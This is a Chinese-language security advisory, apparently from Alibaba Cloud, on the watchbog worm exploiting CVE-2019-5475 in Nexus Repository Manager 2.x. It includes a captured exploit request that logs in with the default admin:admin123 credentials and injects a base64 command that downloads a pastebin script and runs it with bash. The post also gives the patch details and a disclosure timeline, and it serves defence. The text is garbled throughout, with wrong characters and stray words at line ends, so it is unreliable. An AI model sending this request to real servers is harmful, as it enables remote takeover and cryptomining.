近日,阿里云安全团队发现wacthbo挖矿团伙[1]新增了CVE_2019_5475 的漏洞利用代码,并开始进行尝试性攻击。
经过对CVE_2019_5475漏洞的生命周期进行分析后发现,漏洞批量化利用的速度正在提升,若是未能在黄金修补周期内对漏洞进行修补,将有可能很快遭遇蠕虫和恶意攻击程序的攻击。php
阿里云目前已第一时间上线默认防护策略。java
阿里云安全团队9月6日捕获了一块儿新漏洞利用,经过对涉及应用和漏洞的分析,咱们确认这是watchbog团伙的一次版本更新,这次版本更新引入了新的漏洞CVE_2019_5475做为攻击武器,利用该漏洞该蠕虫能够经过几个简单的 HTTP 请求便可达到入侵并控制机器的目的。git
漏洞涉及的应用Nexus 是一个强大的仓库管理器,它能够用于简化内部仓库和外部仓库的访问,是常见的maven私服解决方案。可是Nexus Repository Manager 2.x Capabilities中存在默认的弱密码帐号,在使用401登陆认证后,便可经过createrepo或mergerepo配置实现远程命令注入,从而执行任意功能。github
CVE_2019_5475 的利用代码以下所示:json
PUT /nexus/service/siesta/capabilities/00009df00fbcea95 HTTP/1.1 Content-Length: 472 Accept-Encoding: gzip, deflate Connection: close Accept: application/json User-Agent: Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5 Host: 39.106.194.166:8081 Content-Type: application/xml Authorization: Basic YWRtaW46YWRtaW4xMjM= <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <ns2:capability xmlns:ns2="http://sonatype.org/xsd/nexus-capabilities-plugin/rest/1.0"><id>healthcheck</id><notes>123</notes><enabled>true</enabled><typeId>1</typeId><properties><key>mergerepoPath</key><value>bash -c {echo,KGN1cmwgLWZzU0wgaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2pqRnpqQ3d4fHx3Z2V0IC1xIC1PIC0gaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2pqRnpqQ3d4KXxiYXNo}|{base64,-d}|{bash,-i}</value></properties></ns2:capability>
其中使用了401HTTP 认证,而且存在admin:admin123的弱密码,所以只要对createrepo或mergerepo这两个字段进行命令注入,便可完成攻击。安全
经过对比漏洞修复先后的相关代码,其主要修改集中在yum/internal/task/CommandLineExecutor.java 这个文件。bash
在原有逻辑中,将直接把用户提交的命令进行执行,而修复方案便是增长了一个过滤函数getCleanCommand。网络
该函数将判断即将执行命令的文件路径和是否处于白名单内,不然将拒绝执行。并发
2019-07-23 白帽子上报漏洞 2019-08-09 漏洞概要公开,厂商更新版本 2019-08-21 漏洞细节和利用代码公开 2019-09-04 国内白帽子提交到seebug 2019-09-06 蠕虫出如今野利用
咱们回顾了CVE_2019_5475的整个生命周期,发现其在出现可利用poc代码到蠕虫的大规模利用的时间间隔仅为10天左右。而原理相似的CVE-2018-11770(Hadoop yarn RESTAPI 未受权RCE),其出现可用poc到被蠕虫大规模利用的时间约110天。app
若是用户没有在8月9日-8月21日这个黄金时间内对漏洞进行修补,则可能遭到定向攻击者的成功攻击。
而在9月6往后,存在漏洞而且还未修复的用户,面对僵尸网络不停的扫描,几乎没有侥幸逃过攻击的可能性。
每一个漏洞都有其自身的生命周期,随着横轴时间线的日后,其利用价值也将逐渐下降。
顺着图中的白色线条,一个漏洞将经历从产生、poc验证、厂商公告、发布补丁以及逐渐消亡的过程,而这个过程也与常说的0day、1day、Nday 阶段进行对应。
让咱们顺着红线,从攻击者的视角来看:
经过以往攻击 case 的分析,咱们发现最大的攻击危害一般发生在大规模的攻击利用中,即漏洞被恶意攻击进行大规模利用前。
若是能在第5步前完成漏洞修补或者在以前的几步中及早发现攻击者的攻击尝试,并针对漏洞及早的进行防护和通知厂商进行修补,将能极大的减少该漏洞所形成的损失。
而阿里云实时保护着中国40%的网站,在服务百万客户的环境下,阿里云安全团队有机会第一时间看到最多的攻击变种和最大的攻击规模,并第一时间提供安全防护策略,提供安全告警通知,帮助用户更好地应对此类恶意程序的威胁。
针对本文提到的漏洞,阿里云平台已可默认拦截。但仍建议使用Nexus Repository Manager 2.14.14如下的用户,尽快升级到 version 2.14.14以避免遭遇恶意程序的攻击。
REF:
[1] Nexus Repository Manager 3新漏洞已被用于挖矿木马传播,建议用户尽快修复 - 阿里云官方博客的我的空间 - OSCHINA
[2]HackerOne
[3]GitHub - ab1gale/phpcms-2008-CVE-2018-19127
[4]Comparing release-2.14.12-02...release-2.14.14-01 · sonatype/nexus-public · GitHub
[5]CVE-2019-5475 Nexus Repository Manager 2 - OS Command Injection - 2019-08-09 – Sonatype Support
本文为云栖社区原创内容,未经容许不得转载。